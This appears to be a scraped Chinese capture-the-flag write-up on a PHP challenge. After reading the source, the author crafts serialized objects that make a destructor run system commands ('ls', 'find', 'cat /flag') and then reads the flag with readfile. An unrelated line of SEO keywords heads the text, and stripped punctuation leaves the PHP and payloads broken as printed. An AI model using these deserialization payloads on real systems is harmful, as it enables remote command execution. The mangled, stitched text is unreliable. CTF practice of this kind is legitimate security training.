柳州哪里有网站建设,杭州万户网络,wordpress页面发布,网站在布局题解
打开题目是这样子的。 啥也不管抓个包看看#xff0c;从它返回的信息判断出func后面的是要调用的函数#xff0c;p后面的是要执行的内容。 那我们直接执行个系统命令看看#xff0c;可以看到返回了hack#xff0c;估计是做了过滤。
funcsystempls 直接读取源码…题解
打开题目是这样子的。 啥也不管抓个包看看从它返回的信息判断出func后面的是要调用的函数p后面的是要执行的内容。 那我们直接执行个系统命令看看可以看到返回了hack估计是做了过滤。
funcsystempls 直接读取源码看看咯可以看到过滤了好多函数反正我认识的可以进行命令执行的函数都给禁了。
funcfile_get_contentspindex.php 但是它没有禁用反序列化函数那么我们只要实现构造出要执行的命令然后序列化。再调用反序列化函数将其还原且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码我们照葫芦画瓢对其进行序列化。
class Test {var $p cat /flag;var $func system;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}
运行下面代码。
?php
class Test {var $p cat /flag;var $func system;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}
$a new Test();
echo serialize($a);
?
得到序列化后的数据。
O:4:Test:2:{s:1:p;s:2:ls;s:4:func;s:6:system;} 执行成功返回当前目录下面的文件。 直接查到flag在哪里发现 /tmp/flagoefiu4r93这个文件比较可以估计是这个啦。
O:4:Test:2:{s:1:p;s:20:find / -name flag*;s:4:func;s:6:system;} 直接查看这个文件但是这里我是cat /tmp/flagoefiu4r93不知道为啥不行有知道的大佬可以指点一下。
O:4:Test:2:{s:1:p;s:23:cat /tmp/flagoefiu4r93;s:4:func;s:6:system;} 用这个readfile函数读取这个是PHP自带的函数成功读取。
funcreadfilep/tmp/flagoefiu4r93 总结
主要涉及的知识是反序列的运用要懂得构造出序列化的数据还得想到用file_get_contents函数读取源码。